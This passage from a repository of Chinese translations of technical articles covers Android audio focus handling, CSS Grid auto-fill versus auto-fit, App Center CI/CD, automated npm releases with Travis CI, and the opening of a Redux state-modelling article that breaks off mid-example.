AudioManager.AUDIOFOCUS_GAIN: logToUI("Audio Focus: Gained"); if (mAudioFocusPlaybackDelayed || mAudioFocusResumeOnFocusGained) { mAudioFocusPlaybackDelayed = false; mAudioFocusResumeOnFocusGained = false; start(); } break; case AudioManager.AUDIOFOCUS_LOSS: mAudioFocusResumeOnFocusGained = false; mAudioFocusPlaybackDelayed = false; stop(); break; case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT: mAudioFocusResumeOnFocusGained = true; mAudioFocusPlaybackDelayed = false; pause(); break; case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK: pause(); break; } } ``` ### 步骤三 :释放音频焦点 播放完音频,记得使用 [AudioManager.abandonAudioFocus(…)](https://developer.android.com/reference/android/media/AudioManager.html#abandonAudioFocus%28android.media.AudioManager.OnAudioFocusChangeListener%29) 来释放掉音频焦点。在前面的步骤中,我们遇到了一个应用暂停播放应该释放音频焦点的情况,但是这个应用依旧保留了音频焦点。 ### 代码示例 #### 几个您可以在您应用使用的案例 在 [GitHub gist](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521) 上有三个类关于音频焦点的使用,这可能对您的代码有帮助。 * [AudioFocusRequestCompat](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocusrequestcompat-java):使用这个类来描述您的音频焦点类型 * [AudioFocusHelper](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocushelper-java):这个类帮助您处理音频焦点,您可以把它加入您的代码,但是必须确保在您的播放 service 中使用 AudioFocusAwarePlayer 这个接口。 * [AudioFocusAwarePlayer](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocusawareplayer-java):这个接口应该在 service 中实现,来管理您的播放组件(MediaPlayer或者ExoPlayer),它可以确保 AudioFocusHelper 正常工作。 #### 完整的代码示例 [android-MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService) 完整展示了音频焦点的处理,使用 **MediaPlayer** 来播放音乐,同时使用了 **MediaSession** 。 [PlayerAdapter](https://github.com/googlesamples/android-MediaBrowserService/blob/master/app/src/main/java/com/example/android/mediasession/service/PlayerAdapter.java)展示了音频聚焦的最佳实践,请注意 **pause()** 和 **onAudioFocusChange(int)** 方法的实现。 ### 测试您的代码 一旦您在应用中实现了音频焦点的处理,您可以使用安卓媒体控制工具来测试您的应用对音频聚焦的真实反映,具体使用方法请查阅 [GitHub/Android Media Controller](https://github.com/googlesamples/android-media-controller#audio-focus). ![](https://cdn-images-1.medium.com/max/800/1*ZiD8Wht_tAyFC4WDwVhcjg.png) ### Android多媒体开发资源 * [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService) * [示例代码 — MediaSession Controller Test (带有音频焦点测试)](https://github.com/googlesamples/android-media-controller) * [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4) * [多媒体 API 指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html) * [多媒体 API 指南 — 使用 MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html) * [使用 MediaPlayer 构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md ================================================ > * 原文地址:[Auto-Sizing Columns in CSS Grid: `auto-fill` vs `auto-fit`](https://css-tricks.com/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit/) > * 原文作者:[SARA SOUEIDAN](https://css-tricks.com/author/sarasoueidan/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md](https://github.com/xitu/gold-miner/blob/master/TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md) > * 译者:[pot-code](https://github.com/pot-code) > * 校对者:[ParadeTo](https://github.com/ParadeTo)、[realYukiko](https://github.com/realYukiko) # CSS Grid 之列宽自适应:`auto-fill` vs `auto-fit` 除了显式的指定列大小之外,CSS Grid 还有个非常强大的功能 —— 模式填充(repeat-to-fill)列然后对内容进行自动布局。也就是说,开发者只需要指定列数,自适应方面的事情(视口尺寸小则显示列数少,反之则多)交给浏览器来处理就行了,也不需要用媒体查询。 上述功能完全可以用一条语句就能实现,这不禁让我想起《哈利波特》里,邓布利多在霍拉斯家里挥舞着他的巴拉拉小魔棒,然后“家具一件件跳回了原来的位置,装饰品在半空中恢复了原形,羽毛重新钻回软垫里,破损的图书自动修复,整整齐齐地排列在书架上…”。 就是这么神奇,而且还不用媒体查询。这一切都归功于 `repeat()` 方法和自动布局的关键字。 其实这方面的技术文章很多,基本用法我就不在此赘述了,有兴趣可以参考 Tim Wright 写的 [博文](http://csskarma.com/blog/css-grid-layout/),个人极力推荐。 总之,`repeat()` 方法能根据你的需要分割出任意多个列。例如,如果你需要一个基于 12 列的网格系统,你可以这么写: ``` .grid { display: grid; /* 指定网格列数 */ grid-template-columns: repeat(12, 1fr); } ``` `1fr` 表示让浏览器将网格空间进行均分,每列占其一分,这样就创建了 12 个宽度不固定但是相等的列。而且不管视口宽度如何,都会保持 12 列不变。但是,估计你也想到了,如果视口过窄,内容必然会被挤扁。 所以,这里有必要设置列的最小宽度来保证容器不至于太窄,这里需要用到 `minmax()` 方法。 ``` grid-template-columns: repeat( 12, minmax(250px, 1fr) ); ``` 按照 grid 的脾性,这么做肯定会导致当前行内容溢出,即便视口在最小列宽的限制条件下实在无法容纳这些列,这些列也不会自动换行,因为之前告诉过浏览器必须有 12 列。 为了实现换行,可以用 `auto-fit` 或 `auto-fill`。 ``` grid-template-columns: repeat( auto-fit, minmax(250px, 1fr) ); ``` 这条语句让浏览器自个儿去处理列宽和元素的换行,如果容器宽度不够,元素会自动换行,也就不会导致溢出了。这里仍旧用了 `fr` 单位,这样的话,如果行内剩下的空间不足以容纳另外一列时,已有的列能自动扩张占满一整行,不造成空间浪费。 乍一看名字,`auto-fill` 和 `auto-fit` 似乎是完全相反的两个东西,实际上它们的区别相当微妙。 非要说的话,用 `auto-fit` 的时候,当前行的末尾留了不少空白,但是什么时候留白,为什么会留白呢? 来让我们一探究竟。 ### Fill 和 Fit 的区别到底在哪? 在最近一个 CSS 研讨会上,我是这么总结 `auto-fill` 和 `auto-fit` 的区别的: > `auto-fill` 倾向于容纳更多的列,所以如果在满足宽度限制的前提下还有空间能容纳新列,那么它会暗中创建一些列来填充当前行。即使创建出来的列没有任何内容,但实际上还是占据了行的空间。 > > `auto-fit` 倾向于使用最少列数占满当前行空间,浏览器先是和 `auto-fill` 一样,暗中创建一些列来填充多出来的行空间,然后坍缩(collapse)这些列以便腾出空间让其余列扩张。 乍看起来还是挺懵逼的,稍后我会做一个可视化图来展示这些行为,这样更容易理解一点。Firefox 有专门的 Grid 分析工具能帮助显示元素和列的尺寸、位置(译者注:用开发者工具拾取容器元素,在样式侧边栏中的 `display: grid` 中的 `grid` 左侧有个网格图标,点一下就能显式网格线条了)。 以 [这里](https://codepen.io/SaraSoueidan/pen/JrLdBQ/) 的 demo 为例。 还是用 `repeat()` 方法来定义列,设置其最小宽度为 100px,最大为 `1fr`,这样,如果存在额外空间,每一列分到的空间大小都相等。这里让列数自行计算,换行和自适应都交给浏览器处理。 第一个例子使用 `auto-fill` 关键字,第二个则是 `auto-fit`。 ``` .grid-container--fill { grid-template-columns: repeat(auto-fill, minmax(100px, 1fr)); } .grid-container--fit { grid-template-columns: repeat(auto-fit, minmax(100px, 1fr)); } ``` **在特定的情况下,`auto-fill` 和 `auto-fit` 的效果是一样的。** ![](https://cdn.css-tricks.com/wp-content/uploads/2017/12/auto-fill.png) 虽然看起来一样,但骨子里还是不同的。看起来一样只是因为视口的宽度造成了这种巧合. 使它们产生不同的结果的关键点在于 `grid-template-columns` 中列数和列宽的设置,例子不同,产生的结果也会不同。 当视口的宽度大到能够容纳额外的列到当前行时,差别就会体现出来了。这时,浏览器会采用两种方式来处理这种情况,怎么处理取决于是否还有内容需要放到多出的列里面。 所以,如果当前行还能再放得下一列,浏览器的行为如下: 1. “我这还有空间再放一列,还有没放进来的内容吗(如:grid item)?如果有,OK,我再在当前行添加一列,如果视口太小,空间不够了,我换一行再加”。 2. 如果没有多的内容:“是让这新的一列尸位素餐呢,还是让其坍缩让其余的列进行扩张来占据它的空间呢?” `auto-fill` 和 `auto-fit` 的出现解答了最后一个问题:在没有多的内容的情况下,是坍缩还是任其占位? 这是问题,同时也是选择,最终取决于你的内容,以及你想该内容在响应式设计下如何表现。 下面来详细解释。为了形象、生动的表现出 `auto-fill` 和 `auto-fit` 的区别,请按我的步骤做,观察屏幕上的变化。现在,我正在调整视口的大小,留出足够的横向空间,让其能容纳更多的列到当前行。牢记一点,例子中的两行有完全相同的内容、相同的列数,唯一的区别是第一行用的是 `auto-fill`,第二行用的是 `auto-fit`。 这下应该清楚了吧,如果还是不明白,那我们继续: `auto-fill` 的做法:“来‘列’啊,给我把这行全占了,列越多越好,我不介意有些个列完全是透明的 —— 看不到不代表不存在嘛。有空间就加列,有无内容无所谓,反正空间我是占了(也就是说会用内容/grid item 来填充)。" 如上所述,`auto-fill` 尽可能容纳多的列,即使有些列是空的,`auto-fit` 则稍显不同。 `auto-fit` 的做法和 `auto-fill` 一样,随着视口宽度增大而增加列数,区别在于新增加的列都坍缩了(包括间隔 gap 在内)。用 Firefox 的 Grid 工具来可视化这个过程再合适不过了,当视口的宽度增加时,新的列也被添加进来,grid 的线条也会增加,肉眼就能观察得到全过程。 `auto-fit` 的做法:“先用已有的列进行填充,然后尽情扩张直到占满一整行空间。空白列不允许占据多出的空间,这些空间要好好利用,应该让已经填进去的列(内容/grid item)扩张自己来填充这些空间。” 有必要记住的一点是,在以上两种情况中,多出来的列(无论最后是否坍缩)都不是隐式的列(implicit columns) —— 这在官方文档里有特殊的含义。这里新增的,或者说创建的列都在显式 grid(explicit grid)里面,和直接指明划分出 12 列的 grid 是一样的。所以,使用列数索引时, `-1` 会指向 grid 的末端,如果是隐式创建的,情况就不是这样了。 给 [Rachel Andrew](https://twitter.com/rachelandrew) 加鸡腿,感谢他给出的这个小贴士。 ### 总结 只有行的宽度大到能够容纳额外的列时,`auto-fill` 和 `auto-fit` 这两者的区别才会体现出来。 用 `auto-fit` 时,内容区会自动拉伸以便占满一整行;另一方面,使用 `auto-fill` 的时候,浏览器对待空列和那些有实质内容的列一样,一视同仁,允许其占用行空间 —— 即使这些空列并无实质性内容,它们也还是会分得行空间的一杯羹,所以也能间接的影响那些有内容的列的大小,或者说宽度。 你更倾向于哪种行为取决于你的需求,说实在的,我也在想到底有哪些情况,`auto-fill` 会比 `auto-fit` 更适用一点。如果你恰好周围有这样的使用场景,希望能在评论区不吝赐教。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/automate-cicd-visual-app-center.md ================================================ > * 原文地址:[Automate CI/CD and Spend More Time Writing Code](https://www.sitepoint.com/automate-cicd-visual-app-center/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning) > * 原文作者:[Cormac Foster](https://www.sitepoint.com/author/cfoster/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/automate-cicd-visual-app-center.md](https://github.com/xitu/gold-miner/blob/master/TODO/automate-cicd-visual-app-center.md) > * 译者:[Yong Li](https://github.com/NeilLi1992) > * 校对者:[zhaoyi0113](https://github.com/zhaoyi0113),[LeviDing](https://github.com/leviding) # 自动化持续集成/持续分发,以节省更多时间编写代码 **该文章由 [微软 Visual Studio 应用中心](https://appcenter.ms/signup?utm_source=Sitecore&utm_medium=Blog&utm_campaign=appcenter_connect) 赞助。请支持我们的合作方,是他们让 SitePoint 成为可能。** 什么是软件开发中最棒的部分?编写漂亮的代码。 什么是最糟的部分?其余的一切。 开发软件是一份精彩的工作。你会用全新的方法解决问题,取悦用户,并且亲眼见证你的工作让生活更美好。然而在我们花费时间编写代码之外,我们常常还要花费同样多的时间来管理随之而来的各种琐碎开销 —— 这些都是在浪费时间。以下是一些最大的效率黑洞,以及在微软我们是如何处理这些问题,以帮助你节省一些开发时间。 ## 1. 生成 让你超赞的应用到达用户手中的第一步是什么?让它出现。许多人可能觉得把源代码转换成二进制文件,在今天已经不是什么难事了,但实际上它依然是。取决于项目的不同,你可能一天需要编译好几次,或是在不同的平台上编译,而这些都占用了你本可以用来编写代码的宝贵时间。除此之外,如果你在生成 iOS 应用,你还需要 Mac 生成代理,尤其是当你使用跨平台框架来创建应用时。而这甚至都不一定是你最主要的开发工具。 你想要夺回这些时间,最好的办法就是**自动化**(我还会多次重申这点)。你需要将配置和硬件管理都自动化,使得应用需要生成的时候,直接就可以开始生成。 ![使用微软移动中心来生成](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510795993Mobile-Center_Image1_Build-1024x524.png) 我们对于这一需求的回应就是:Visual Studio 应用中心生成服务。这一服务帮你自动化所有你不想手动重复的步骤,使得你每次提交代码的时候,或者无论何时你、你的测试团队、或者你的发布经理希望的时候,你都可以快速生成。只要将生成服务连接到 GitHub,BitBucket 或者 VSTS 仓库,选取一个分支,配置几个参数,你就可以在云中生成 Android、UWP 甚至 iOS 和 macOS 应用,而无需管理任何硬件。如果你有更特别的需求,你还可以添加 post-clone、pre-build 以及 post-build 脚本来进行自定义。 ## 2. 测试 我花了许多年做软件测试。在我的职业生涯中,以下是我最讨厌听到的三个问题: “你完成了吗?” “你可以重现吗?” “真的有这么糟糕?” 在过去,已经很难有足够的时间和资源来进行彻底的,像样的测试。但是移动开发的出现让这一问题更加恶化。如今我们需要将更多的代码更加频繁地分发到更多的设备上去,我们不能浪费几个小时来重现一个神出鬼没的重大故障,我们也没有时间来争论某一个 Bug 是否严重到推迟产品发布时间。然而同时,我们又是最终需要对无法忽视的故障和劣质产品负责的人。作为团队的成员,我们希望比问题更快一步,来**提升**质量,而不是让问题阻碍了发布。 所以解决之道是什么?当然是”自动化“。但必须是**有意义**的自动化。如果你不能整合到一起的话,一张张的数据表和一个个存满截屏的文件夹就什么用处也没有。当你临近截止日期,而又必须说服产品负责人来打电话中止发布的时候,你不仅要给出易于他们理解的信息,同时又要给开发人员保留足够的细节来供其修复。 ![使用微软移动中心来测试](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510796048Mobile-Center_Image2_test-1024x582.png) 为了改善这一问题,我们创建了应用中心测试服务。该服务可以在数以千计的真实设备上使用数以百计的不同配置来进行自动化 UI 测试。因为测试全部是自动的,每一次都确保运行完全相同的测试,这样在每一次生成中你都能立刻发现性能问题和 UX 偏差。测试会生成截图和视频,也会生成性能数据,这样任何人都能发现问题,而开发人员也能点进详细的日志中,即刻开始修复问题。你还可以在每次代码提交时先在个别设备上做抽查,然后再在数以百计的不同设备上做回归测试,以确保对所有的用户都一切正常。 ## 3. 分发 你终于完成了一个应用并且它能像预期一样正常工作,太棒了!但是真正的迭代现在才开始。你想在应用抵达终端用户之前就知道其他人怎么看你的应用,但是你要怎么做呢?创建一个 beta 版本已经足够难了,而要确保每一个人都有你应用的最新版本(如果是移动应用,甚至要先确保用户能够安装它)简直要花费你全部的时间,并且你的团队成员谁都不愿意做这样的工作。 再一次,**自动化**。当你准备好推送一个版本的时候,你需要自动化的通知流程**以及**应用分发流程,并且你需要在每一次你生成的时候(或至少发布经理同意的时候),这两者都能够自动触发。 ![使用微软移动中心来分发](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510796093Mobile-Center_Image3_Distribute-1024x640.png) 我们的解决方案是应用中心分发服务。你需要的只是一组邮件地址,就可以把你的版本发布到内部用户或 beta 测试用户的手中。你只需创建一个分发组,上传你的版本(或者从源代码仓库生成),然后分发服务就会处理剩下的一切。如果你觉得这听起来就像 [HockeyApp](https://hockeyapp.net/),你猜对了。应用中心分发服务就是下一代的 HockeyApp,将它的自动化分发功能整合进我们其它的持续集成/持续分发服务之中。一旦你完成了 beta 测试,分发服务就会将你的应用部署到 Google Play,苹果的 App Store,或者 —— 对于企业用户来说 —— 微软的 Intune,从而让你的应用抵达最终用户手中。 ## 4. 闭环 人们经常谈论部署流水线,但我们不满足于单向的部署过程。如果你能够知晓在应用发布完**之后**发生了什么,你就可以把反馈意见告知开发人员,由此形成一个闭环来使你的产品更好、更快。这一反馈信息以两种形式存在 —— 关于用户如何和你的应用进行交互的分析,以及必不可少的,关于应用在何时,发生怎样的故障的报告。 先说第二点,因为故障很要命。当应用出现故障的时候,虽然你想快速地了解情况,但你更需要知道故障到底有多紧要。在一个不起眼的小功能中却影响到所有人的故障,通常比只有 iPhone 4 用户完全无法启动应用,要更严重。应用中心的故障服务可以将相似的故障进行分组,并且告知你最受影响的平台,以使你做出明智的分检决定。当你准备好开始修复问题的时候,故障已经完全符号化,所有你需要的信息已经准备就绪。你可以自动地在你的故障跟踪程序中创建记录,方便开放人员无需中断他们的工作流就可以开始修复故障。更多的自动化再一次带来更多的时间,以编写更好的代码。 对于第一点的分析数据,你通常需要一些开箱即用的工具。应用中心分析服务提供了用户层面和设备层面的、侧重于参与度的度量应用,这些都是产品负责人最希望见到的。它们可以告诉你诸如:是谁在使用哪些设备、使用得多频繁、在哪里使用、使用多长时间等信息。当然,你的应用不会和别人的完全一样,因此你更可以创建和跟踪自定义的度量,比如“预定了乘车”或者“选择了配送上门”。如果你需要更深入的分析,我们还支持持续导出到 [Azure Application Insights](https://azure.microsoft.com/en-us/services/application-insights/)。 ## 5. 使用手边的工具开始工作 你可以花费整天的时间来纸上谈兵地构想你完美的持续集成/持续分发方案,但是除非你能付诸行动,它分文不值。不管是集成一个你十分偏爱的现有系统(或许你只是不得不用),还是先自动化一些小的手动流程再逐渐改善其它部分,重要的是你能利用手边可用的工具立即开始行动。 当然,在这里我的立场是有倾向性的,并且我相信你应该尝试一下我们的整套系统。不过开发者有着各式各样的需求。如果你只是想要采用应用中心的部分服务,我们已经把它设计为完全模块化的了。我们为每一个应用中心的服务提供了 REST API,我们也和像 VSTS 之类的服务预先做好了集成。我们相信这才是它应有的样子,因为是你在创建**你的**应用,你应该用**自己的**方式来创建它。 我们欢迎你 [试一试 Visual Studio 应用中心](https://appcenter.ms/signup?utm_source=Sitecore&utm_medium=Blog&utm_campaign=appcenter_connect),此时它是全新的,并且可以免费开始试用。我们希望听到你的想法! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/automated-npm-releases-with-travis-ci.md ================================================ > * 原文地址:[Automated npm releases with Travis CI](https://tailordev.fr/blog/2018/03/15/automated-npm-releases-with-travis-ci/) > * 原文作者:[TailorDev](https://tailordev.fr) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/automated-npm-releases-with-travis-ci.md](https://github.com/xitu/gold-miner/blob/master/TODO/automated-npm-releases-with-travis-ci.md) > * 译者:[Starrier](https://github.com/Starriers) > * 校对者:[talisk](https://github.com/talisk)、[liang-kai](https://github.com/liang-kai) # 使用 Travis CI 自动发布 npm 在 [npm 注册表](https://www.npmjs.com/)发布一个包应该是很无聊的,在这篇博客中,我描述了如何在每次打 git 标签时使用 [Travis CI](https://travis-ci.org/) 来发布 npm 包。 ![使用 Travis CI 自动发布 npm](https://tailordev.fr/img/post/2018/03/automated-npm-releases.png) 在 TailorDev,我们喜欢自动化构建软件所需的许多重要步骤。其中一个步骤是发布最终的,即可生产的应用程序包,也称为工件或者包。今天,我们关注于 JavaScript 世界,描述如何不花费太大心血而在 npm 注册表中实现包的自动化发布过程。 首先,npm 在 2017 年推出了 [双因素认证](https://docs.npmjs.com/getting-started/using-two-factor-authentication) (简称 2FA),这是一个很好的想法,直到我们发现了它是“全部或者没有”![:confused:](https://assets.github.com/images/icons/emoji/unicode/1f615.png ":confused:")。事实上, npm 2FA 依赖于[一次性密码](https://en.wikipedia.org/wiki/One-time_password)来保护账户以及与您账户相关的所有内容,并自动实现这一功能,从而无法实现 2FA 的功能。 **但是为什么这会如此重要呢?**我很高兴您会这么问,因为我们在续集中需要一个 API 令牌,而且目前不可能在不触发 2FA 机制的情况下生成和使用令牌。换句话说,启用 2FA,几乎不可能自动化 npm 发布过程,“几乎”是因为 npm 实现了[双级别身份认证](https://docs.npmjs.com/getting-started/using-two-factor-authentication#levels-of-authentication): **`auth-only`** 和 **`auth-and-writes`**。通过将 2FA 的使用限制在 **`auth-only`** 上,我们就可以使用 API 令牌,但安全性较低。我们真的希望 npm 可以在不久的将来为自动化任务设计的 auth 令牌,同时: ``` $ npm profile enable-2fa auth-only ``` 一旦您的账户启用了 **`auth-only`** 用法的 2FA (顺便说一句,这比没有启用 2FA 更好),那就让我们开始创建一个令牌: ``` $ npm token create +----------------+--------------------------------------+ | token | a73c9572-f1b9-8983-983d-ba3ac3cc913d | +----------------+--------------------------------------+ | cidr_whitelist | | +----------------+--------------------------------------+ | readonly | false | +----------------+--------------------------------------+ | created | 2017-10-02T07:52:24.838Z | +----------------+--------------------------------------+ ``` 这个令牌将由 Travis CI 用于代表您进行身份验证。我们也可以[使用 Travis CLI 将该令牌作为环境变量进行加密](https://docs.travis-ci.com/user/environment-variables/#Encrypting-environment-variables)或者[在 Travis CI 存储库设置中定义一个变量](https://docs.travis-ci.com/user/environment-variables/#Defining-Variables-in-Repository-Settings),,这样做将会更方便。声明两个私密环境变量 **`NPM_EMAIL`** 和 **`NPM_TOKEN`**: ![Travis CI 设置](https://tailordev.fr/img/post/2018/03/travis-ci-settings.png) 现在,最重要的部分是创建一个实际发布 npm 包的任务。我们决定利用[构建阶段(测试版)特性](https://docs.travis-ci.com/user/build-stages/)结合 [Travis CI 推荐的方式发布 npm 包](https://docs.travis-ci.com/user/deployment/npm/)。为了做记录,我们希望每次构建版本只发布一次。不管现有的构建矩阵如何,我们还希望在发布 npm 包时使用 git 标签,以便在 npm 版本和 GitHub 版本之间保持一致。 我们从一个用于 JavaScript 项目的标准 **`.travis.yml`** 文件开始,在该文中对代码进行了 Node 8 和 9 的测试,并使用 [yarn](https://yarnpkg.com/) 作为包管理器: ``` language: node_js node_js: - "8" - "9" cache: yarn install: yarn script: - yarn lint - yarn test ``` ![标准 Travis CI 输出带有两个 JavaScript 任务](https://tailordev.fr/img/post/2018/03/travis-ci-two-jobs-node.png) 我们现在可以通过将以下配置添加到之前的 **`.travis.yml`** 文件中来配置“部署”任务: ``` jobs: include: - stage: npm release if: tag IS present node_js: "8" script: yarn compile before_deploy: - cd dist deploy: provider: npm email: "$NPM_EMAIL" api_key: "$NPM_TOKEN" skip_cleanup: true on: tags: true ``` 让我们一行一行地分析。首先,当且仅当 **`IS 标签存在`** 时,我们“加入”一个新的 npm 发布阶段,这意味着构建已经被 git 标记触发。我们选择 node **`8`** (我们的生产版本) 并执行 **`yarn compile`** 来构建我们的包。此脚本会创建包含可以在 npm 注册表上发布包文件的 **`dist/`** 文件夹。最后但同样重要的一点是,我们调用 Travis CI **`deploy`** 命令在 npm 注册表来实际发布包(同时我们将此命令限制为 git 标记,仅作为额外的保护层)。 注意:为了防止 Travis CI 清理额外的文件夹并删除你做的改变,请在发布前将 **`skip_cleanup`** 设置为 **`true`**。 ![带有 JavaScript 的 Travis CI](https://tailordev.fr/img/post/2018/03/travis-ci-build-stages.png) 这很酷,不是么?![:sunglasses:](https://assets.github.com/images/icons/emoji/unicode/1f60e.png ":sunglasses:") ## 优点:npm 像专业版一样发布 为了创建新版本,我们使用 [**`npm 版本`**](https://docs.npmjs.com/cli/version) (它内置在 npm ![:rocket:](https://assets.github.com/images/icons/emoji/unicode/1f680.png ":rocket:"))。假设我们当前版本是 **`0.3.2`**,我们想发布 **`0.3.3`**。在 **`master`** 分支上,我们运行以下命令 ``` **$ npm version patch** ``` 该命令执行以下任务: 1. 在 **`package.json`** 中插入(更新)的版本号 2. 创建一个新的提交 3. 创建一个 git 标签 我们可以使用 **`npm version minor`** 从 **`0.3.1`** 发布 **`0.4.0`** (它会颠倒第二个数字并重置最后一个数字)。我们也可以使用 **`npm version major`** 从 **`0.3.1`** 发布 **`1.0.0`**。 一旦使用 **`npm version`** 命令完成后,您就可以运行 **`git push origin master --tag`** 并稍等片刻,直到包在 npm 注册表上发布。![:tada:](https://assets.github.com/images/icons/emoji/unicode/1f389.png ":tada:") --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/avoiding-accidental-complexity-when-structuring-your-app-state.md ================================================ * 原文地址:[Avoiding Accidental Complexity When Structuring Your App State](https://hackernoon.com/avoiding-accidental-complexity-when-structuring-your-app-state-6e6d22ad5e2a#.hgm96hth7) * 原文作者:[Tal Kol](https://hackernoon.com/@talkol) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:chemzqm@gmail.com * 校对者:[yifili09](https://github.com/yifili09) [DeadLion](https://github.com/DeadLion) # 构建应用状态时,你应该避免不必要的复杂性 __Redux 做为一个 Flux 模型的实现需要我们明确思考应用程序内部的整体状态,然后花费时间建模。事实证明,这未必是一项简单的任务。它是混沌理论的一个典型例子,一个看似无害的蝴蝶翅膀振动在错误的方向可能导致飓风等一系列复杂的连锁效应(译注:蝴蝶效应)。下面提供了一个如何对应用程序状态建模的实用提示列表,它们在保证可用性的同时,也能让你的业务逻辑更加合理。__ --- #### 什么是应用程序状态? 根据[维基百科](https://en.wikipedia.org/wiki/State_%28computer_science%29) - 计算机程序在变量中存储数据,其表示计算机存储器中的存储位置。在程序执行的任何给定时间点,这些存储器位置中的内容被称为程序的状态。 就我们当前所讨论的状态而言,重要的是在这个定义中添加__最小化__。当对我们的应用程序建模为了更精确的控制的时候,我们将尽最大努力来用最少的数据表达应用可能处于的不同状态,从而忽略程序中可以由这个核心所派生的其它动态变量。在 [Flux](https://facebook.github.io/flux/) 应用中,状态保存在 `store` 对象内。通过调用不同的 `action` 对状态进行修改,之后__视图组件__监听到状态变化后自动在内部进行相应的重渲染处理。 ![](https://cdn-images-1.medium.com/max/800/1*pgxTL69KXTYjupzGO015Ew.png) [Redux](http://redux.js.org/), 做为一个 Flux 的实现,额外添加了一些更严格的要求 - 例如将整个应用的状态保存在一个单一的 `store` 对象,同时它是__不可变的__,通常(译注:指状态)也是__可序列化的__。 如果你不使用 Redux,下面给出的提示也应该是有益的。 即使你不使用 Flux,它们也很有可能是有用的。 #### 1. 避免根据服务端响应建模 本地应用程序状态通常来自服务器。 当应用程序用于显示从远程服务器到达的数据时,它常常会被照着以服务器下发的数据格式进行保存。 考虑一个电子商务网店管理应用的示例,商家使用此应用来管理商店库存,因此显示产品列表是一个关键功能。产品列表源自服务器,但需要将应用程序做为状态保存在本地,以便在视图内展现。让我们假设从服务器获取产品列表的主 API 返回以下 JSON 结果: ``` javascript { "total": 